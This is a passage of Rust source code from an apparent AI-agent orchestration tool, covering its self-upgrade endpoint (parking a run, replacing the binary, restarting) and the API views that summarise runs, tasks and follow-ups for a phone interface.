2570/// `kaishin` can: `self_replace` **renames** the running image aside and puts
2571/// the new one in its place, so the swap itself needs no downtime. Only the
2572/// restart does, and the order is the whole design:
2573///
2574/// 1. **Park.** A run in flight stops at its next node boundary and stays
2575///    resumable, so this costs at most the node in progress rather than the
2576///    competition. Without it the honest choices were waiting an hour or
2577///    discarding paid agent work.
2578/// 2. **Replace.** The new binary goes into place while this one still runs.
2579/// 3. **Hand over.** [`serve`] drops the listener, *then* spawns the
2580///    successor - see [`spawn_successor`] for what happens in the other
2581///    order.
2582/// 4. **Resume.** The next loop carries the parked run on rather than
2583///    competing again; see `daemon::attempt`.
2584///
2585/// Answers **202**: the reply has to reach the phone while this process can
2586/// still send one, and the phone learns the deck is back by reconnecting.
2587async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2588    let reading = daemon::read_status(&ui.home);
2589    if let Some(other) = Foreign::of(reading.as_ref()) {
2590        return Err(ApiError::conflict(format!(
2591            "the loop belongs to {}, so replacing this binary would leave \
2592             that process running an old one against the same queue. Upgrade \
2593             where it was started.",
2594            other.who()
2595        )));
2596    }
2597
2598    // A second upgrade while one is moving would replace the binary and
2599    // signal the handover again after `serve` already consumed the first
2600    // signal, leaving the process in `replaced` forever. Try-lock rather than
2601    // wait: a phone connection must not hang behind a GitHub round trip.
2602    let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
2603        return Err(ApiError::conflict(
2604            "another request is already preparing an upgrade",
2605        ));
2606    };
2607    if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
2608        return Err(ApiError::conflict(
2609            "an upgrade is already in progress (this process started one and it \
2610             has not finished or failed yet)",
2611        ));
2612    }
2613    let recorded = updater::read_progress(&ui.home);
2614    if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
2615        return Err(ApiError::conflict(format!(
2616            "an upgrade is already in progress (stage: {}, {} -> {}). If it \
2617             stays stuck, restart the deck; on start it settles a stale record.",
2618            p.stage.as_str(),
2619            p.from,
2620            p.to.as_deref().unwrap_or("?"),
2621        )));
2622    }
2623
2624    // The same kill switch the background check honours (`disabled_by_env`),
2625    // checked before anything else for the same reason it is read before the
2626    // config there: an operator who set `MAGI_NO_AUTOUPDATE` means "never
2627    // contact GitHub from this process", and a button press must not
2628    // override that any more than a broken `magi.toml` may.
2629    if crate::updater::disabled_by_env() {
2630        return Ok((
2631            StatusCode::OK,
2632            Json(UpgradeView {
2633                from: env!("CARGO_PKG_VERSION").to_owned(),
2634                to: None,
2635                parked: None,
2636                detail: format!(
2637                    "Automatic updates are disabled by {}. Nothing was parked \
2638                     and nothing restarted.",
2639                    crate::updater::NO_AUTOUPDATE_ENV
2640                ),
2641            }),
2642        ));
2643    }
2644
2645    // Asked before anything is disturbed. Restarting when there is nothing
2646    // to install is not a harmless no-op: it parks the run in flight and
2647    // drops every connection to pay for an upgrade that did not happen. A
2648    // probe against a deck already on the newest build did exactly that.
2649    let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
2650    let from = env!("CARGO_PKG_VERSION").to_owned();
2651    let latest = match crate::updater::Checker::new(&cfg.update) {
2652        Some(checker) => checker
2653            .newer_release()
2654            .await
2655            .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
2656        None => None,
2657    };
2658    let Some(latest) = latest else {
2659        return Ok((
2660            StatusCode::OK,
2661            Json(UpgradeView {
2662                from,
2663                to: None,
2664                parked: None,
2665                detail: "Already on the newest release. Nothing was parked \
2666                         and nothing restarted."
2667                    .to_owned(),
2668            }),
2669        ));
2670    };
2671
2672    // Parked before anything is replaced: a successor that came up while a
2673    // run was mid-node would find a run nobody is driving.
2674    let parked = ui.park_for_upgrade(&from, Some(latest.tag_name.as_str()))?;
2675    let detail = match &parked {
2676        // Honest about the wait. A park takes effect at the *next* node
2677        // boundary, so a run mid-implement finishes that wave first - up to
2678        // `timeout_implement`, an hour by default. Saying "restarting now"
2679        // would make the deck look wedged for the rest of it.
2680        Some(run) => format!(
2681            "Run {} is parking at its next step, which can take as long as \
2682             the step it is on - up to an hour for an implement wave. The \
2683             deck replaces itself once it parks, comes back, and the loop \
2684             carries that run on from where it stopped. Nothing is lost if \
2685             you close this.",
2686            crate::run::short_of(run)
2687        ),
2688        None => "The deck replaces itself and comes back. Nothing was in \
2689                 flight to park."
2690            .to_owned(),
2691    };
2692
2693    // Recorded before the spawn, not inside it: the phone's next `/api/health`
2694    // poll must see a `Downloading` stage immediately, not whenever the
2695    // spawned task happens to get scheduled.
2696    let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2697    progress.parked_run = parked.clone();
2698    // A failed write is logged, not returned: the loop is already parked
2699    // above, and bailing out here would leave it parked with no upgrade
2700    // spawned to hand over or resume it.
2701    updater::write_progress_logged(&ui.home, &progress);
2702
2703    let home = ui.home.clone();
2704    let looping = ui.looping();
2705    ui.upgrade_spawned
2706        .store(true, std::sync::atomic::Ordering::SeqCst);
2707    let spawned = Arc::clone(&ui.upgrade_spawned);
2708    tokio::spawn(async move {
2709        if let Err(e) = upgrade_and_restart(home.clone()).await {
2710            tracing::error!("the upgrade did not complete: {e:#}");
2711            lock_or_recover(&looping).resume_after_handover = false;
2712            // A failure of this attempt says nothing about a handover an
2713            // earlier request already has in flight; checked and written
2714            // under the progress lock.
2715            let _ = updater::fail_progress(&home, &format!("{e:#}"));
2716            // Released last: until the cleanup above is done, a retry must
2717            // not be able to park and record state this would then undo.
2718            spawned.store(false, std::sync::atomic::Ordering::SeqCst);
2719        }
2720    });
2721
2722    Ok((
2723        StatusCode::ACCEPTED,
2724        Json(UpgradeView {
2725            from,
2726            to: Some(latest.tag_name),
2727            parked,
2728            detail,
2729        }),
2730    ))
2731}
2732
2733/// Replace the binary, then ask [`serve`] to hand the address over.
2734///
2735/// Separated from the handler so the 202 is already on its way, and separated
2736/// from the spawn so the successor starts only after the listener is dropped.
2737async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2738    // `yes` and non-interactive: nobody is at a terminal, and a prompt would
2739    // hang the upgrade for as long as the process lives.
2740    crate::updater::run_self_update(true, false, true).await?;
2741    updater::log_step(&home, "binary replaced - recording the replaced stage");
2742    if let Some(mut progress) = updater::read_progress(&home) {
2743        progress.advance(updater::Stage::Replaced);
2744        updater::write_progress_logged(&home, &progress);
2745    }
2746    updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
2747    HANDOVER.notify_one();
2748    updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
2749    Ok(())
2750}
2751
2752/// One row in the run list.
2753///
2754/// The list route returns this rather than whole `RunState`s: the summary of a
2755/// run is a few hundred bytes and the state is megabytes, and the difference
2756/// is what makes the history usable on a mobile link.
2757#[derive(Debug, Serialize)]
2758struct RunSummary {
2759    id: String,
2760    short: String,
2761    status: String,
2762    done: bool,
2763    instruction: String,
2764    title: String,
2765    repo: String,
2766    repo_name: String,
2767    created_at: String,
2768    updated_at: String,
2769    candidates: usize,
2770    viable: usize,
2771    judges: usize,
2772    winner: Option<char>,
2773    reviews: usize,
2774    quota_losses: usize,
2775    event: Option<String>,
2776    /// The later attempt at the same task that replaced this one, if any.
2777    ///
2778    /// Two cards with one title is otherwise unreadable: this is what lets
2779    /// the deck say "superseded by 4043" on the older of the pair.
2780    superseded_by: Option<String>,
2781    /// Blocked on a question nobody has answered.
2782    ///
2783    /// Derived from the question store rather than stored on the run: an agent
2784    /// calling `magi ask` blocks mid-node, and writing a status from there
2785    /// would race the graph's own save of `run.json` and be overwritten at the
2786    /// next node boundary. Asking the store is always true and never races.
2787    waiting: bool,
2788    /// Whether the process recorded as driving this run can still be proven
2789    /// alive. The card uses a confirmed-dead non-terminal run as `stale`,
2790    /// rather than presenting its last graph node as still in flight.
2791    live: crate::run::Liveness,
2792    /// The land loop's last look at the pull request, when there is one.
2793    pr: Option<crate::run::PrRecord>,
2794    /// `status` is `"ready"`, but `[merge] mode = "none"` left it there by
2795    /// design — never picked up by the PR-polling merge watcher, unlike an
2796    /// ordinary `Ready` that may still be a live landing candidate. See
2797    /// [`RunState::unmerged_by_design`]. The front end reads this rather than
2798    /// re-deriving the same check from `status` and `merge.mode` itself.
2799    unmerged_by_design: bool,
2800    /// Derived presentation status matching [`RunDetailView::display_status`].
2801    /// Distinguishes parked runs, crashes, and waiting states from raw node statuses.
2802    #[serde(default)]
2803    display_status: String,
2804    /// Who started the run, as the one label every surface shares; the
2805    /// "origin unknown" wording when the record predates origins.
2806    origin_label: String,
2807}
2808
2809impl RunSummary {
2810    fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
2811        Self {
2812            id: state.id.clone(),
2813            short: state.short().to_owned(),
2814            status: status_word(state.status),
2815            done: state.status.done(),
2816            unmerged_by_design: state.unmerged_by_design(),
2817            display_status: run_display_status(state, waiting, live),
2818            instruction: state.instruction.clone(),
2819            title: title_from(&state.instruction, TITLE_MAX),
2820            repo: state.repo.display().to_string(),
2821            repo_name: state
2822                .repo
2823                .file_name()
2824                .map(|n| n.to_string_lossy().into_owned())
2825                .unwrap_or_default(),
2826            created_at: state.created_at.to_string(),
2827            updated_at: state.updated_at.to_string(),
2828            candidates: state.candidates.len(),
2829            viable: state.viable().len(),
2830            judges: state.config.graph.judges,
2831            winner: state.winner().map(|c| c.label),
2832            reviews: state.reviews.len(),
2833            quota_losses: state.quota.len(),
2834            event: state.events.last().map(|e| e.message.clone()),
2835            waiting,
2836            live,
2837            // Filled in by the list route, which is the only place that can
2838            // see a task's other attempts.
2839            superseded_by: None,
2840            pr: state.pr.clone(),
2841            origin_label: crate::run::origin_label(state.origin.as_ref()),
2842        }
2843    }
2844}
2845
2846/// `RunStatus` as the wire spells it. Every variant is one word, so this is
2847/// the same string `serde` writes for the status inside a full run.
2848fn status_word(status: RunStatus) -> String {
2849    // `RunStatus::as_str` rather than lowercasing the `Debug` spelling: this
2850    // was a third way of naming the same statuses, and one that changed
2851    // silently with a derive.
2852    status.as_str().to_owned()
2853}
2854
2855/// The presentation status for a run, unified across summaries and details.
2856///
2857/// Distinguishes runs that stopped deliberately at a node boundary (`"parked"`)
2858/// from genuine driver crashes (`"stale"`), while preserving `"waiting"` for
2859/// runs awaiting operator answers.
2860fn run_display_status(state: &RunState, waiting: bool, live: crate::run::Liveness) -> String {
2861    if waiting {
2862        return "waiting".to_owned();
2863    }
2864    if state.unmerged_by_design() {
2865        return "unmerged".to_owned();
2866    }
2867    if !state.status.done() && live == crate::run::Liveness::Dead {
2868        // The driver claim clears this flag before saving another event.
2869        // A previous park event can therefore outlive a resumed driver.
2870        if state.parked {
2871            return "parked".to_owned();
2872        }
2873        return "stale".to_owned();
2874    }
2875    status_word(state.status)
2876}
2877
2878/// `?limit=`, clamped by the handler.
2879#[derive(Debug, Deserialize)]
2880struct ListQuery {
2881    #[serde(default)]
2882    limit: Option<usize>,
2883    /// Exact ids only; an empty value requests no rows (except queue blockers).
2884    ids: Option<String>,
2885}
2886
2887impl ListQuery {
2888    fn contains(&self, id: &str) -> bool {
2889        self.ids
2890            .as_ref()
2891            .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
2892    }
2893}
2894
2895async fn runs_list(
2896    State(ui): State<Arc<Ui>>,
2897    Query(q): Query<ListQuery>,
2898) -> ApiResult<Json<Vec<RunSummary>>> {
2899    let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2900    blocking(move || {
2901        let (open_runs, claimed, superseded) = run_row_inputs(&ui);
2902        let states = run_ids(&ui.runs)
2903            .into_iter()
2904            // A run whose state cannot be read is skipped, not fatal: a run
2905            // killed mid-write must not blank the history of every other one.
2906            // The detail route still explains it, which is where an operator
2907            // asking "what happened to that run" ends up.
2908            .filter_map(|id| read_run(&ui.runs, &id).ok())
2909            .take(limit)
2910            .filter(|run| q.contains(&run.id));
2911        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
2912        let summaries = summarize(
2913            states,
2914            &open_runs,
2915            &claimed,
2916            &superseded,
2917            |p| probe.borrow_mut().status(p),
2918            |p| probe.borrow_mut().started_at(p),
2919        );
2920        Ok(Json(summaries))
2921    })
2922    .await
2923}
2924
2925/// Everything the per-run rows share, read once: runs with an open question,
2926/// runs a live daemon claims, and the superseded map. Asking per run re-read
2927/// every question file and the daemon status file for each of hundreds of
2928/// runs, and spawned a process probe per run on Windows.
2929fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
2930    let open_runs: HashSet<String> = ui
2931        .questions
2932        .list()
2933        .into_iter()
2934        .filter(|q| q.status.open())
2935        .map(|q| q.run)
2936        .collect();
2937    let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2938        .into_iter()
2939        .map(|c| c.run)
2940        .collect();
2941    (open_runs, claimed, ui.queue.superseded())
2942}
2943
2944/// The rows of the run list, given everything that is shared between them.
2945///
2946/// Pure over its inputs so a test can count how often the process queries are
2947/// asked; `status_q` / `identity_q` are the queries [`RunState::liveness_with`]
2948/// takes, called at most once per run.
2949fn summarize<I, S, D>(
2950    states: I,
2951    open_runs: &HashSet<String>,
2952    claimed: &HashSet<String>,
2953    superseded: &HashMap<String, String>,
2954    mut status_q: S,
2955    mut identity_q: D,
2956) -> Vec<RunSummary>
2957where
2958    I: IntoIterator<Item = RunState>,
2959    S: FnMut(u32) -> Option<bool>,
2960    D: FnMut(u32) -> Option<String>,
2961{
2962    states
2963        .into_iter()
2964        .map(|state| {
2965            let waiting = open_runs.contains(&state.id);
2966            let live =
2967                state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
2968            let mut row = RunSummary::of(&state, waiting, live);
2969            row.superseded_by = state
2970                .pr_taken_over_by
2971                .as_ref()
2972                .or_else(|| superseded.get(&state.id))
2973                .map(String::as_str)
2974                .map(crate::run::short_of)
2975                .map(str::to_owned);
2976            row
2977        })
2978        .collect()
2979}
2980
2981/// A run as the detail route hands it to the phone.
2982///
2983/// The whole state, flattened, plus `instruction_md`: the Task panel renders
2984/// the instruction as markdown, and the raw `instruction` field this struct
2985/// still carries (unchanged) is what a client wanting the exact bytes reads
2986/// instead.
2987#[derive(Debug, Serialize)]
2988struct RunDetailView {
2989    stop_reason: Option<String>,
2990    #[serde(flatten)]
2991    state: RunState,
2992    instruction_md: Vec<md::Node>,
2993    /// Agent-written prose of the run, parsed to markdown nodes. Shapes
2994    /// mirror the records they come from, index for index; the raw strings
2995    /// stay in `state` and decide whether a block is shown at all.
2996    #[serde(flatten)]
2997    prose_md: RunProseMd,
2998    /// Whether a process is actually still driving this run: `"live"`,
2999    /// `"dead"`, or `"unknown"` — see [`crate::run::Liveness`].
3000    ///
3001    /// `state.active` (flattened in above) is only ever cleared by the
3002    /// process that populated it; a killed one leaves its last wave's
3003    /// entries behind. Carrying this alongside is what lets the phone rail
3004    /// tell "this seat is still answering" from "this seat was still
3005    /// answering when whatever was driving this run died" without a second
3006    /// route — see `ActiveSeat`'s own docs for why the entry alone is not
3007    /// proof of either. A string rather than a bool on purpose: a daemon
3008    /// claim proves `"live"`, `driver_pid` answering dead proves `"dead"`,
3009    /// and neither proven is `"unknown"` — folding that third case into
3010    /// either end of a bool is exactly the wrong call for a phone screen an
3011    /// operator uses to decide whether to wait or to act.
3012    live: crate::run::Liveness,
3013    /// Same field and meaning as [`RunSummary::unmerged_by_design`] — kept
3014    /// alongside the flattened `state` rather than inside it, since
3015    /// `RunState` has no business knowing which of its own methods a caller
3016    /// wants serialized.
3017    unmerged_by_design: bool,
3018    /// Same field and meaning as [`RunSummary::waiting`].
3019    #[serde(default)]
3020    waiting: bool,
3021    /// Same derived presentation status as [`RunSummary::display_status`].
3022    #[serde(default)]
3023    display_status: String,
3024    /// Same field and meaning as [`RunSummary::done`]: whether the status is
3025    /// terminal. The client's `landView` keys on it, and the flattened state
3026    /// has no such field, so without it a finished run's stale `open` PR
3027    /// would be painted as live on the detail page.
3028    done: bool,
3029    /// Same field and meaning as [`RunSummary::superseded_by`] — the list
3030    /// route fills it from [`Queue::superseded`], the detail route from
3031    /// [`Queue::superseded_by`], and both read the same underlying task
3032    /// order. Without this the detail page could only ever show a red
3033    /// `BLOCKED`/`FAILED` chip on a run a later attempt had already finished,
3034    /// with nothing anywhere saying so — an operator opening it had no way
3035    /// to tell "this is done elsewhere" from "this still needs a retry".
3036    superseded_by: Option<String>,
3037    /// The task's current attempt, when this run is an older one — resolved
3038    /// from [`Queue::latest_attempt`] and this run's own state, not left for
3039    /// the client to derive.
3040    ///
3041    /// Three things a client cannot safely do on its own drove this onto the
3042    /// server: it has to name the chain's *current head*, not just the next
3043    /// attempt (`superseded_by` above), because an intermediate retry in a
3044    /// longer chain can itself still be unresolved; it has to resolve to a
3045    /// real id rather than a short id a client would have to guess a full id
3046    /// from, which is ambiguous the moment two runs share a suffix; and it
3047    /// has to read that head's own status directly, because whether a run
3048    /// list a client happens to have cached even contains that attempt
3049    /// depends on a page limit this route knows nothing about.
3050    latest_attempt: Option<LatestAttempt>,
3051    /// The queue task this run belongs to, so the detail page can link back
3052    /// to the task's own page. `None` for a run nobody queued (`magi run`).
3053    task: Option<TaskRef>,
3054    /// [`crate::run::Origin::label`], or the "origin unknown" wording for a
3055    /// run recorded before origins existed. `origin` itself (flattened in
3056    /// with `state`) is `null` in that case.
3057    origin_label: String,
3058    /// Each recorded pass over this run, with the cause it stopped for. Empty
3059    /// for a run from before passes were kept: its earlier passes are unknown.
3060    pass_views: Vec<PassView>,
3061}
3062
3063/// A task named from a run's detail page.
3064#[derive(Debug, Serialize)]
3065struct TaskRef {
3066    id: String,
3067    short: String,
3068    title: String,
3069    /// [`Source::label`], e.g. `chat@a1b2`.
3070    source_label: String,
3071    /// Where the task came from, when that place has a page; see [`source_link`].
3072    source_link: Option<SourceLink>,
3073    /// The task's own status (`TaskStatus::as_str`), independent of this run's.
3074    status: &'static str,
3075    attempts: usize,
3076    max_attempts: usize,
3077    /// This run is the last entry of the task's run list.
3078    is_latest: bool,
3079    /// The task's newest run, when it is not this one.
3080    latest: Option<RunBrief>,
3081    /// The run that finished a `done` task (merged, or already in the base).
3082    finished_by: Option<RunBrief>,
3083    /// The task is `done` but no run on record finished it: closed by hand.
3084    closed_by_hand: bool,
3085}
3086
3087/// The page that filed a task, as the UI links to it.
3088#[derive(Debug, PartialEq, Eq, Serialize)]
3089struct SourceLink {
3090    /// `chat` (a conversation) or `run` (a run's node).
3091    kind: &'static str,
3092    /// The full id, never the short one in the label.
3093    id: String,
3094    /// The hash route that opens it.
3095    href: String,
3096}
3097
3098/// Percent-encode everything outside the URL-unreserved set.
3099fn encode_segment(raw: &str) -> String {
3100    let mut out = String::with_capacity(raw.len());
3101    for b in raw.bytes() {
3102        if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
3103            out.push(b as char);
3104        } else {
3105            out.push_str(&format!("%{b:02X}"));
3106        }
3107    }
3108    out
3109}
3110
3111/// The one place that decides where a task's source links to. A chat
3112/// conversation opens `#/chat/<id>`, any other agent node `#/runs/<id>`;
3113/// a person or an imported issue has no page, so no link.
3114fn source_link(source: &Source) -> Option<SourceLink> {
3115    let Source::Agent { run, node } = source else {
3116        return None;
3117    };
3118    let (kind, route) = if node == crate::queue::CHAT_NODE {
3119        ("chat", "chat")
3120    } else {
3121        ("run", "runs")
3122    };
3123    Some(SourceLink {
3124        kind,
3125        id: run.clone(),
3126        href: format!("#/{route}/{}", encode_segment(run)),
3127    })
3128}
3129
3130/// The parent task of a follow-up, when its file can still be read.
3131#[derive(Debug, Serialize, PartialEq)]
3132struct FollowUpParent {
3133    id: String,
3134    short: String,
3135    title: String,
3136    /// The parent's own status (`TaskStatus::as_str`).
3137    status: &'static str,
3138    href: String,
3139}
3140
3141/// The merged run a follow-up was filed from.
3142#[derive(Debug, Serialize, PartialEq)]
3143struct FollowUpRun {
3144    id: String,
3145    short: String,
3146    /// `None` when the run's record cannot be read.
3147    status: Option<&'static str>,
3148    /// `None` unless the record could be read: never a dead link.
3149    href: Option<String>,
3150}
3151
3152/// Where a follow-up task came from, resolved once per task page so the flow
3153/// chart and the detail block cannot disagree. See [`followup_origin`].
3154#[derive(Debug, Serialize, PartialEq)]
3155struct FollowUpOrigin {
3156    /// Present only when `origin_task` is set and that task still exists.
3157    parent: Option<FollowUpParent>,
3158    run: FollowUpRun,
3159    /// The merged pull request, verbatim. Not an href: the client passes it
3160    /// through `forgeUrl()` and renders text when that refuses it (the one
3161    /// exception to "the href rule is Rust's alone", since a forge URL is
3162    /// data from a record, not a route).
3163    pr: String,
3164    findings: Vec<String>,
3165    generation: u32,
3166}
3167
3168/// The one place that decides what a follow-up links to. A parent that cannot
3169/// be read (gone, or an id that names nothing) is `None`, never an error.
3170fn followup_origin(
3171    fu: &crate::queue::FollowUp,
3172    task: impl Fn(&str) -> Option<Task>,
3173    run: impl Fn(&str) -> Option<RunState>,
3174) -> FollowUpOrigin {
3175    let parent = fu
3176        .origin_task
3177        .as_deref()
3178        .and_then(task)
3179        .map(|t| FollowUpParent {
3180            short: t.short().to_owned(),
3181            href: format!("#/tasks/{}", encode_segment(&t.id)),
3182            status: t.status.as_str(),
3183            title: t.title,
3184            id: t.id,
3185        });
3186    let state = run(&fu.run);
3187    FollowUpOrigin {
3188        parent,
3189        run: FollowUpRun {
3190            short: run::short_of(&fu.run).to_owned(),
3191            status: state.as_ref().map(|s| s.status.as_str()),
3192            href: state
3193                .is_some()
3194                .then(|| format!("#/runs/{}", encode_segment(&fu.run))),
3195            id: fu.run.clone(),
3196        },
3197        pr: fu.pr.clone(),
3198        findings: fu.findings.clone(),
3199        generation: fu.generation,
3200    }
3201}
3202
3203/// Another run of the same task, as named from a run's detail page.
3204#[derive(Debug, Serialize)]
3205struct RunBrief {
3206    id: String,
3207    short: String,
3208    /// `None` when the run's record cannot be read.
3209    status: Option<&'static str>,
3210    /// The task-page wording for how that pass ended.
3211    outcome: String,
3212}
3213
3214/// The task's overall outcome as seen from `this_run`'s page, classified with
3215/// the same exits the task page's flowchart uses.
3216fn task_outcome(
3217    task: &Task,
3218    this_run: &str,
3219    max_attempts: usize,
3220    read: impl Fn(&str) -> Option<RunState>,
3221) -> TaskRef {
3222    let history = task_history(task, read);
3223    let brief = |h: &TaskRunView| RunBrief {
3224        id: h.id.clone(),
3225        short: h.short.clone(),
3226        status: h.status,
3227        outcome: h.exit.edge_label(h.status),
3228    };
3229    let is_latest = task.runs.last().is_none_or(|r| r == this_run);
3230    let latest = if is_latest {
3231        None
3232    } else {
3233        history.last().map(brief)
3234    };
3235    let done = task.status == TaskStatus::Done;
3236    let finished_by = done
3237        .then(|| {
3238            history
3239                .iter()
3240                .rev()
3241                .find(|h| {
3242                    matches!(
3243                        h.exit,
3244                        RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
3245                    )
3246                })
3247                .map(brief)
3248        })
3249        .flatten();
3250    TaskRef {
3251        short: task.short().to_owned(),
3252        title: task.title.clone(),
3253        id: task.id.clone(),
3254        source_label: task.source.label(),
3255        source_link: source_link(&task.source),
3256        status: task.status.as_str(),
3257        attempts: task.attempts,
3258        max_attempts,
3259        is_latest,
3260        latest,
3261        closed_by_hand: done && finished_by.is_none(),
3262        finished_by,
3263    }
3264}
3265
3266/// The task's current attempt, as seen from an older one's detail page.
3267#[derive(Debug, Serialize)]
3268struct LatestAttempt {
3269    id: String,
3270    short: String,
3271    /// Whether this attempt itself settled with a result nobody needs to
3272    /// act on further. Deliberately narrow: only `Merged` and `Ready` count.
3273    /// `VerifiedNoop` is excluded on purpose — it is a candidate's own
3274    /// unconfirmed claim that no change was needed, which is exactly why it
3275    /// settles the task through `Held` rather than `Done` and still waits on
3276    /// a human to check the evidence; showing an older run as "finished
3277    /// elsewhere" on the strength of an unverified claim would bury the
3278    /// thing that still needs a look. `Blocked`/`Failed`/`Stalled` and every
3279    /// in-flight status are excluded because they are exactly the
3280    /// unresolved states this field exists to tell apart from a real finish.
3281    resolved: bool,
3282    /// The attempt's own recorded status, so the page can say where it
3283    /// stands while it is not resolved yet.
3284    status: RunStatus,
3285    /// Whether that status is terminal (nothing is still running it).
3286    done: bool,
3287}
3288
3289/// Markdown for the free-text prose of a run, parallel to `RunState`.
3290#[derive(Debug, Default, Serialize)]
3291struct RunProseMd {
3292    /// `None` when the run has no design deliberation.
3293    advice_md: Option<AdviceMd>,
3294    /// One entry per candidate: the summary.
3295    candidate_summaries_md: Vec<Vec<md::Node>>,
3296    /// One entry per review round, in `reviews` order.
3297    reviews_md: Vec<RoundMd>,
3298}
3299
3300#[derive(Debug, Default, Serialize)]
3301struct AdviceMd {
3302    synthesis: Vec<md::Node>,
3303    /// One per record; empty for a seat with no proposal.
3304    approaches: Vec<Vec<md::Node>>,
3305}
3306
3307#[derive(Debug, Default, Serialize)]
3308struct RoundMd {
3309    /// One per reviewer record.
3310    reviewers: Vec<ReviewerMd>,
3311    /// One per `reconsideration` entry: the reason.
3312    reconsideration: Vec<Vec<md::Node>>,
3313    fix: Option<FixMd>,
3314}
3315
3316#[derive(Debug, Default, Serialize)]
3317struct ReviewerMd {
3318    summary: Vec<md::Node>,
3319    /// One per finding, in recorded order (not the display order).
3320    findings: Vec<Vec<md::Node>>,
3321}
3322
3323#[derive(Debug, Default, Serialize)]
3324struct FixMd {
3325    notes: Vec<md::Node>,
3326    /// One per rejection: the argument.
3327    rejected: Vec<Vec<md::Node>>,
3328}
3329
3330/// Parse a run's agent-written prose; a pure function of the state.
3331fn run_prose_md(state: &RunState) -> RunProseMd {
3332    let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
3333    RunProseMd {
3334        advice_md: state.advice.as_ref().map(|a| AdviceMd {
3335            synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
3336            approaches: a
3337                .records
3338                .iter()
3339                .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
3340                .collect(),
3341        }),
3342        candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
3343        reviews_md: state
3344            .reviews
3345            .iter()
3346            .map(|round| RoundMd {
3347                reviewers: round
3348                    .reviews
3349                    .iter()
3350                    .map(|rec| ReviewerMd {
3351                        summary: nodes(&rec.summary),
3352                        findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
3353                    })
3354                    .collect(),
3355                reconsideration: round
3356                    .reconsideration
3357                    .iter()
3358                    .map(|rv| nodes(&rv.reason))
3359                    .collect(),
3360                fix: round.fix.as_ref().map(|fix| FixMd {
3361                    notes: nodes(&fix.notes),
3362                    rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
3363                }),
3364            })
3365            .collect(),
3366    }
3367}
3368
3369impl RunDetailView {
3370    fn of(
3371        state: RunState,
3372        waiting: bool,
3373        live: crate::run::Liveness,
3374        superseded_by: Option<String>,
3375        latest_attempt: Option<LatestAttempt>,
3376        task: Option<TaskRef>,
3377    ) -> Self {
3378        let display_status = run_display_status(&state, waiting, live);
3379        let stop_reason = crate::stop_reason::of(
3380            &state,
3381            latest_attempt.as_ref().map(|a| (a.id.as_str(), a.status)),
3382        );
3383        Self {
3384            stop_reason,
3385            pass_views: state.passes.iter().map(|p| PassView::of(p, None)).collect(),
3386            instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
3387            prose_md: run_prose_md(&state),
3388            origin_label: crate::run::origin_label(state.origin.as_ref()),
3389            live,
3390            unmerged_by_design: state.unmerged_by_design(),
3391            waiting,
3392            display_status,
3393            done: state.status.done(),
3394            superseded_by,
3395            latest_attempt,
3396            task,
3397            state,
3398        }
3399    }
3400}
3401
3402async fn run_detail(
3403    State(ui): State<Arc<Ui>>,
3404    Path(id): Path<String>,
3405) -> ApiResult<Json<RunDetailView>> {
3406    blocking(move || {
3407        let id = resolve_run(&ui.runs, &id)?;
3408        let state = read_run(&ui.runs, &id)?;
3409        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3410        let live = state.liveness(daemon_claims);
3411        let waiting = !ui.questions.open_for(&id).is_empty();
3412        let superseded_by = state
3413            .pr_taken_over_by
3414            .clone()
3415            .or_else(|| ui.queue.superseded_by(&id))
3416            .as_deref()
3417            .map(crate::run::short_of)
3418            .map(str::to_owned);
3419        // Best-effort: an unreadable head (mid-write, or deleted) just means
3420        // this run's own status stands on its own, same as no later attempt
3421        // existing at all.
3422        let latest_attempt = ui.queue.latest_attempt(&id).and_then(|head_id| {
3423            read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
3424                short: head.short().to_owned(),
3425                resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
3426                status: head.status,
3427                done: head.status.done(),
3428                id: head.id,
3429            })
3430        });
3431        let max_attempts = daemon::Opts::default().max_attempts;
3432        let task = ui
3433            .queue
3434            .list()
3435            .into_iter()
3436            .find(|t| t.runs.contains(&id))
3437            .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
3438        Ok(Json(RunDetailView::of(
3439            state,
3440            waiting,
3441            live,
3442            superseded_by,
3443            latest_attempt,
3444            task,
3445        )))
3446    })
3447    .await
3448}
3449
3450/// `DELETE /api/runs/{id}`.
3451///
3452/// Remove a finished, folded run directory along with its artifacts.
3453/// Running runs and runs with unfolded candidate worktrees/branches cannot be
3454/// deleted. This never touches git worktrees or branches - except for a run
3455/// whose state this build cannot read at all, where there is no candidate
3456/// list to check and the wholesale removal `magi fold` already uses for that
3457/// case is the only meaningful "delete".
3458async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
3459    let (id, unreadable) = {
